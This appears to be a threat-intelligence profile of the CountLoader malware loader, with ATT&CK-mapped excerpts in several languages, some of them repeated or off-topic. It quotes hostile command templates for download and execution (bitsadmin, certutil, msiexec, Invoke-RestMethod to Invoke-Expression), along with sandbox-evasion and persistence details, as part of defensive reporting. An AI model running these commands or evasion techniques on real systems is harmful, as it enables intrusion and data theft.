CountLoader
- Type
- Loader
- Capabilities
- PersistenceDefense evasionReconnaissanceExfiltrationLateral movement
- Delivery
- Cracked softwareSeo poisoningLureClickfixUSB
- Platforms
- WindowsmacOS
CountLoader is a multistage malware loader targeting Windows and macOS that profiles infected systems, maintains persistence, and retrieves and executes additional payloads under remote operator control. Observed payloads include LummaStealer, Amatera, ACR Stealer, and cryptocurrency clippers. Distribution mechanisms include cracked-software downloads, trojanized installers, SEO-poisoned websites, social-media lures, malicious USB shortcuts, and DOUBLECUP ClickFix campaigns using fake verification prompts on impersonated business login pages.
Earlier Windows variants use obfuscated HTA scripts executed through MSHTA, often launched by malicious scripts bundled with a legitimate Python interpreter. CountLoader 4.5p uses fileless PowerShell execution, .NET reflection, and D/Invoke to bypass AMSI. Its evasion techniques include self-deletion, antivirus-aware execution, and copying legitimate Windows utilities under misleading names while modifying their executable metadata. Windows persistence primarily uses scheduled tasks; the macOS variant supports Intel and Apple Silicon systems and persists through LaunchAgents.
CountLoader collects operating-system, hardware, user, antivirus, privilege, and domain information, and inventories cryptocurrency wallet applications, browser extensions, and Signal Desktop. Some deployments include an Active Directory reconnaissance module that enumerates domain computers, groups, and privileged memberships. Host telemetry is transmitted through an obfuscated command-and-control protocol, with JWT bearer tokens used for authenticated tasking. Supported tasks include downloading and executing executables, archives, DLLs, MSI packages, and scripts; running PowerShell modules in memory; removing persistence; and propagating through malicious shortcuts on removable media and network shares.
CountLoader has supported large-scale infections across multiple countries. One sinkholed Windows campaign involved approximately 86,000 infected machines, with the highest infection counts in India, Indonesia, and the United States.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Techniques & procedures
70 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
4 techniques
Resource Development
MITRE ATT&CK Mapping Tactic Technique ID Application Resource Development Acquire Infrastructure: Domains T1583.001 49+ malicious domains registered
MITRE ATT&CK T1583.003 — Virtual Private Server (PFCLOUD, ThinkHuge, OMEGATECH)
MITRE ATT&CK Mapping Tactic Technique ID Application Resource Development Stage Capabilities: Upload Malware T1608.001 HTA payloads staged on delivery domains
Researchers observed CountLoader campaigns commencing through SEO poisoning
Initial Access
6 techniques
Initial Access
Propagates via removable media by creating malicious LNK shortcuts next to hidden originals; the shortcut executes the original file and then launches the malware via mshta with a C2 parameter.
Researchers observed CountLoader campaigns commencing through SEO poisoning, fake social media posts or software sites offering free or 'cracked' downloads
"First Malicious MCP Server Found Stealing Emails in Rogue Postmark-MCP Package"; "Self-Replicating Worm Hits 180+ npm Packages"; "SilentSync RAT Delivered via Two Malicious PyPI Packages"; "Malicious Rust Crates Steal Solana and Ethereum Keys"; "VS Code ... republish deleted extensions"
В обнаруженных кампаниях злоумышленники создавали поддельные страницы входа в NetSuite, Odoo, HubSpot и Salesforce, а вредоносный код загружался через встроенный iframe.
Initial Access Phishing: Spearphishing Attachment T1566.001 HTML files with spoofed extensions via email
even direct messages meant to entice victims
Execution
13 techniques
Execution
The loader also verifies whether CrowdStrike Falcon service is active by querying the antivirus list via WMI.
проверяет наличие Signal Desktop и закрепляется в системе через планировщик задач или LaunchAgent.
CountLoader creates persistence using Scheduled Task with name "GoogleTaskSystem136.0.7023.12" + <GUID-like string>.
с помощью findstr или certutil извлекает из изображения скрытый JavaScript, VBScript или PowerShell-код, который запускает дроппер второго этапа.
11 Executes a remote PowerShell payload by downloading and in-memory executing it via Invoke-RestMethod piping to Invoke-Expression.
MITRE ATT&CK Mapping Tactic Technique ID Application Resource Development Acquire Infrastructure: Domains T1583.001 49+ malicious domains registered Resource Development Stage Capabilities: Upload Malware T1608.001 HTA payloads staged on delivery domains Initial Access Phishing: Spearphishing Link T1566.002 Links to typosquat domains distributed Initial Access Drive-by Compromise T1189 Typosquat domains serve malicious downloads Execution System Binary Proxy Execution: Mshta T1218.005 HTA payload executes via mshta.exe Execution Command and Scripting Interpreter: PowerShell T1059.001 Obfuscated PowerShell in HTA payload Execution Command and Scripting Interpreter: Windows Command Shell T1059.003 CMD commands in HTA payload
с помощью findstr или certutil извлекает из изображения скрытый JavaScript, VBScript или PowerShell-код
с помощью findstr или certutil извлекает из изображения скрытый JavaScript, VBScript или PowerShell-код
bitsadmin.exe /transfer "<job>" /download /priority foreground "<url>" "<out>"
Его клиенты проводят ClickFix-атаки, скрывая вредоносный код в PNG-изображениях, которые заранее загружаются в кеш браузера жертвы.
After the user clicks the fake download prompt, the site redirects them to a MediaFire link that hosts a malicious archive.
The archive contains two items: an encrypted ZIP file and a .docx file that contains the password needed to open the ZIP.
Alongside Setup.exe, the archive contains one or more python3<X>.dll files that the interpreter automatically loads... they cause the local Lib directory to be used for dependency resolution and basic module loading.
Persistence
6 techniques
Persistence
проверяет наличие Signal Desktop и закрепляется в системе через планировщик задач или LaunchAgent.
CountLoader creates persistence using Scheduled Task with name "GoogleTaskSystem136.0.7023.12" + <GUID-like string>.
bitsadmin.exe /transfer "<job>" /download /priority foreground "<url>" "<out>"
закрепляется в системе через планировщик задач или LaunchAgent
Registry Run Key (T1547.001): Writes to HKCU\Software\Microsoft\Windows\CurrentVersion\Run for user-level persistence
It rewrites the target of these shortcuts so that when the user double-clicks their browser shortcut, it secretly launches the intended browser and the RAT in the background.
Privilege Escalation
6 techniques
Privilege Escalation
проверяет наличие Signal Desktop и закрепляется в системе через планировщик задач или LaunchAgent.
CountLoader creates persistence using Scheduled Task with name "GoogleTaskSystem136.0.7023.12" + <GUID-like string>.
The shellcode then loads the final payload directly into memory under systeminfo.exe, never touching the disk... | The next stages involve a PowerShell packer that decrypts and launches a shellcode injector... The shellcode then loads the final payload directly into memory under systeminfo.exe...
закрепляется в системе через планировщик задач или LaunchAgent
Registry Run Key (T1547.001): Writes to HKCU\Software\Microsoft\Windows\CurrentVersion\Run for user-level persistence
It rewrites the target of these shortcuts so that when the user double-clicks their browser shortcut, it secretly launches the intended browser and the RAT in the background.
Stealth
22 techniques
Stealth
Для расшифровки финального пейлоада используется публичный IPv4-адрес жертвы: на его основе формируется ключ для кастомного потокового шифра на базе SHA-256 в режиме CTR с XOR.
The campaign deploys an updated CountLoader and the newly identified DeviceManager RAT, which leverage advanced techniques such as Windows binary patching and blockchain-based C2 resolution.
скрывая вредоносный код в PNG-изображениях... хостит картинки со скрытыми при помощи стеганографии пейлоадами
March 12: The HTML Smuggling Batch (3 samples) ... All three confirmed as version 4.1.1 with the simplified protocol.
CountLoader establishes persistence through scheduled tasks and can copy, rename, and modify the PE metadata of legitimate Windows utilities, including conhost.exe, powershell.exe, and mshta.exe, to execute commands while masquerading as trusted applications.
The vast majority of detections for mshta.exe come from instances where the command line contains domains that appear to be legitimate services but are hosted on the .cc TLD... Starting in late February 2026... shifted to .vg and .gl TLDs.
MITRE ATT&CK Mapping Tactic Technique ID Application Resource Development Acquire Infrastructure: Domains T1583.001 49+ malicious domains registered Resource Development Stage Capabilities: Upload Malware T1608.001 HTA payloads staged on delivery domains Initial Access Phishing: Spearphishing Link T1566.002 Links to typosquat domains distributed Initial Access Drive-by Compromise T1189 Typosquat domains serve malicious downloads Execution System Binary Proxy Execution: Mshta T1218.005 HTA payload executes via mshta.exe Execution Command and Scripting Interpreter: PowerShell T1059.001 Obfuscated PowerShell in HTA payload Execution Command and Scripting Interpreter: Windows Command Shell T1059.003 CMD commands in HTA payload Execution Command and Scripting Interpreter: JavaScript T1059.007 JavaScript embedded in HTA Defense Evasion Masquerading: Match Legitimate Name T1036.005 Files named .rar/.pptx/.wav to appear legitimate Defense Evasion Masquerading: Double File Extension T1036.007 HTML content with non-HTML extensions
The shellcode then loads the final payload directly into memory under systeminfo.exe, never touching the disk... | The next stages involve a PowerShell packer that decrypts and launches a shellcode injector... The shellcode then loads the final payload directly into memory under systeminfo.exe...
clean up persistence mechanisms likely to erase forensic evidence... If a target CIS language is detected, DeviceManager executes a self-deletion routine: it removes its scheduled task, deletes its installation directory via cmd.exe, and terminates process execution.
Type 4: Self-delete (cleanup)
The script block contains a minimal JavaScript loader that implements a Base64 decoding function... The main function decodes and executes the embedded script.
bitsadmin.exe /transfer "<job>" /download /priority foreground "<url>" "<out>"
2. certutil.exe -urlcache -split -f (LOLBIN)
Upon execution, MSHTA retrieves and runs an obfuscated variant of the CountLoader v3.2.
Downloads an MSI installer and performs a silent install under the current user context. msiexec.exe /i "<UserProfile>\package.msi" /quiet /qn
Downloads a DLL from the URL to the user's profile and runs it via rundll32 using an export name supplied alongside the URL.
It demonstrates the growing sophistication of ClickFix campaigns by using steganography and environmental keying to deliver payloads while evading detection.
Before executing its payload, the HTA performs environment fingerprinting to evade sandboxes: Hostname check: If the hostname is AZURE-PC, execution terminates... Username check: If the username is Bruno, execution terminates...
It starts by hiding the mshta window to ensure that the malicious activity runs silently in the background without alerting the user.
Alongside Setup.exe, the archive contains one or more python3<X>.dll files that the interpreter automatically loads... they cause the local Lib directory to be used for dependency resolution and basic module loading.
Shellcode Execution : The injected shellcode unpacks the final payload directly in memory.
LummaStealer est une famille de malware de type infostealer activement utilisée dans des campagnes à grande échelle, dont la propagation repose notamment sur des campagnes de phishing et des techniques d’ingénierie sociale.
Defense Impairment
1 technique
Defense Impairment
The next PowerShell stage disables security mechanisms such as AMSI and injects shellcode into a legitimate process.
Credential Access
1 technique
Credential Access
76 crypto wallet extension IDs -- MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Rabby, Ledger Live, and 70 others
Discovery
11 techniques
Discovery
Dual-use design : The combination of consumer crypto wallet theft (76 extensions) with enterprise AD reconnaissance (Domain Admin enumeration, forest mapping)
the malware enumerates running processes via Win32_Process
Collects and exfiltrates extensive system/domain reconnaissance (computer role, domain/forest data, current user group memberships, Domain Admins members, domain computers).
Он собирает сведения о системе... В остальных случаях троян собирает GUID машины, SID пользователя, имя хоста, версию ОС, а также данные об архитектуре, установленном антивирусе и домене.
Collects and exfiltrates extensive system/domain reconnaissance (computer role, domain/forest data, current user group memberships, Domain Admins members, domain computers).
Task type 9 activates a USB spreading module that enumerates removable drives via WMI
Collects and exfiltrates extensive system/domain reconnaissance (computer role, domain/forest data, current user group memberships, Domain Admins members, domain computers).
Before executing its payload, the HTA performs environment fingerprinting to evade sandboxes: Hostname check: If the hostname is AZURE-PC, execution terminates... Username check: If the username is Bruno, execution terminates...
Он собирает сведения о системе, ищет приложения и браузерные расширения криптовалютных кошельков, проверяет наличие Signal Desktop
The loader also verifies whether CrowdStrike Falcon service is active by querying the antivirus list via WMI.
Locale check: If the system locale returns SYSTEM or the Cyrillic equivalent СИСТЕМА, execution terminates (avoids CIS-region systems...).
Lateral Movement
1 technique
Lateral Movement
Propagates via removable media by creating malicious LNK shortcuts next to hidden originals; the shortcut executes the original file and then launches the malware via mshta with a C2 parameter.
Collection
2 techniques
Collection
MITRE ATT&CK Mapping... Collection Data from Local System T1005 Wallet files, browser extension data
Operators then add DOUBLECUP's code to their ClickFix sites, which retrieves the configuration... selects the command matching the victim's browser, and copies it to the clipboard when the page is opened.
Command and Control
9 techniques
Command and Control
The malware provides operators with persistence, system reconnaissance, command execution, payload delivery, and resilient command and control capabilities.
The script identifies an active C2 by sending POST requests to domains in the format globalsnn{i}-new[.]cc.
Также этот загрузчик способен скачивать и запускать MSI-пакеты, DLL, PowerShell-модули и другие файлы... загрузки новых пейлоадов.
In short, a random six-digit key is generated and used as an XOR key to encode the Base64 representation of the plaintext.
The CountLoader client (HTA script) and its command-and-control (C2) server use a custom encoding/decoding routine to exchange data and conceal the actual content being transmitted.
The campaign deploys an updated CountLoader and the newly identified DeviceManager RAT, which leverage advanced techniques such as Windows binary patching and blockchain-based C2 resolution.
Command and Control Domain Generation Algorithms T1568.002 s{N}-rarlab.com, node{N}-py-store.com patterns
All communications between the client and the server are encrypted, with slightly different encryption schemes used for each direction.
Command and Control Encrypted Channel T1573.002 HTTPS via Cloudflare proxy
Exfiltration
1 technique
Exfiltration
On successfully receiving the initial host information, CountLoader C2 server issues a unique JWT token tied to the submitted HWID.
Observables
255 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
34 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.